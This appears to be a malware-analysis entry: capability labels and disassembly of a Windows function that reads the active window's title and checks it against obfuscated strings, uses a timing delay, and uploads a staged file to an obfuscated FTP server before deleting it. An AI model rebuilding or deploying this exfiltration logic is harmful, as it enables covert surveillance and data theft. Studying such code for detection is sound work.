Function at 0x5a3470
Capabilities:
Check for time delay via gettickcount
Connect to http server
Create http request
Create thread
Delete file
Get graphical window text
Send file using ftp

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5d8d43
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2ec
push ebx
push esi
push edi
mov dword [ebp - 0x10], 0
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x100
lea ecx, [ebp - 0x210]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
cmp dword [0x7a29e8], eax
jb 0x5a3536
mov edx, 0x66b8b0
sub edx, 0x50efdffd
push edx
lea ecx, [ebp - 0x34]
call fcn.005a2270
push eax
lea eax, [ebp - 0x210]
push eax
call sub.MSVCR90.dll_strstr
add esp, 8
test eax, eax
jne 0x5a3536
mov ecx, str.H_TUPaj
sub ecx, 0x45d8504a
push ecx
lea ecx, [ebp - 0x1f]
call fcn.005a22e0
push eax
lea edx, [ebp - 0x210]
push edx
call sub.MSVCR90.dll_strstr
add esp, 8
test eax, eax
jne 0x5a3536
push 0x423b44be
lea ecx, [ebp - 0x2a]
call fcn.005a2370
push eax
lea eax, [ebp - 0x210]
push eax
call sub.MSVCR90.dll_strstr
add esp, 8
test eax, eax
jne 0x5a3536
xor al, al
jmp 0x5a3538
mov al, 1
test al, al
je 0x5a376b
call esi
cmp eax, 0xbb8
jbe 0x5a375b
mov edi, 0x66b7f4
sub edi, 0x5c2284f6
push edi
lea ecx, [ebp - 0x20]
call fcn.005a2220
push eax
call sub.MSVCR90.dll_remove
push 0
push 0
push 0
push 0x5a2060
push 0
push 0
call sub.MSVCR90.dll__beginthreadex
add esp, 0x1c
push 0
push 0
push 0
push 1
push 0
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0x58dc7a98
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x10], eax
call fcn.005a20e0
push 0x58dc7a98
lea ecx, [ebp - 0x20]
mov ebx, eax
call fcn.005a20e0
push 0x33181657
lea ecx, [ebp - 0x42]
mov esi, eax
call fcn.005a20a0
push 0
push 0x8000000
push 1
push ebx
push esi
mov esi, dword [ebp - 0x10]
push 0x15
push eax
push esi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov ebx, eax
xor eax, eax
mov dword [ebp - 0x42], eax
mov dword [ebp - 0x3e], eax
mov dword [ebp - 0x3a], eax
mov word [ebp - 0x36], ax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
test ebx, ebx
jne 0x5a3602
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x96
lea ecx, [ebp - 0x110]
push 0
push ecx
call sub.MSVCR90.dll_memset
mov edx, 0x66b8b8
add esp, 0xc
sub edx, 0x4a7101b6
push edx
lea ecx, [ebp - 0x73]
call fcn.005a23f0
mov ecx, dword [ebp + 8]
push ecx
push eax
lea edx, [ebp - 0x110]
push 0x2000
push edx
mov dword [ebp - 4], 0
call fcn.005c6ac0
add esp, 0x10
lea eax, [ebp - 0x110]
push eax
push ebx
call dword [sym.imp.WININET.dll_FtpCreateDirectoryA]
lea ecx, [ebp - 0x34]
push ecx
call sub.MSVCR90.dll__time64
lea edx, [ebp - 0x34]
push edx
call sub.MSVCR90.dll__localtime64
add esp, 8
push 0x7a9b42e1
lea ecx, [ebp - 0x77]
mov esi, eax
call fcn.005a2180
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push eax
mov dword [ebp - 4], 1
call fcn.00406ec0
lea eax, [ebp - 0x60]
push eax
call fcn.005a2900
add esp, 0x20
mov eax, dword [esi + 8]
cmp eax, 0x18
jle 0x5a36aa
add eax, 0xfffffff4
push 0x2a83385d
lea ecx, [ebp - 0x2f5]
mov dword [ebp - 0x14], eax
call fcn.005a21d0
cmp dword [ebp - 0x48], 0x10
mov ecx, dword [ebp - 0x5c]
mov byte [ebp - 4], 4
jae 0x5a36cd
lea ecx, [ebp - 0x5c]
mov edx, dword [esi]
push edx
mov edx, dword [esi + 4]
push edx
mov edx, dword [ebp - 0x14]
push edx
mov edx, dword [esi + 0xc]
push edx
mov edx, dword [esi + 0x10]
inc edx
push edx
mov edx, dword [esi + 0x14]
add edx, 0x76c
push edx
push ecx
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x110]
push edx
push eax
lea eax, [ebp - 0x2a8]
push 0x2000
push eax
call fcn.005c6ac0
add esp, 0x30
push edi
lea ecx, [ebp - 0x6c]
call fcn.005a2220
push 0
push 2
lea ecx, [ebp - 0x2a8]
push ecx
push eax
push ebx
call dword [sym.imp.WININET.dll_FtpPutFileA]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call esi
mov edx, dword [ebp - 0x10]
push edx
call esi
push edi
lea ecx, [ebp - 0x6c]
call fcn.005a2220
push eax
call sub.MSVCR90.dll_remove
add esp, 4
cmp dword [ebp - 0x48], 0x10
jb 0x5a375b
mov eax, dword [ebp - 0x5c]
push eax
call fcn.00570810
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, 0xbb8
mov dword [0x7a29e8], eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret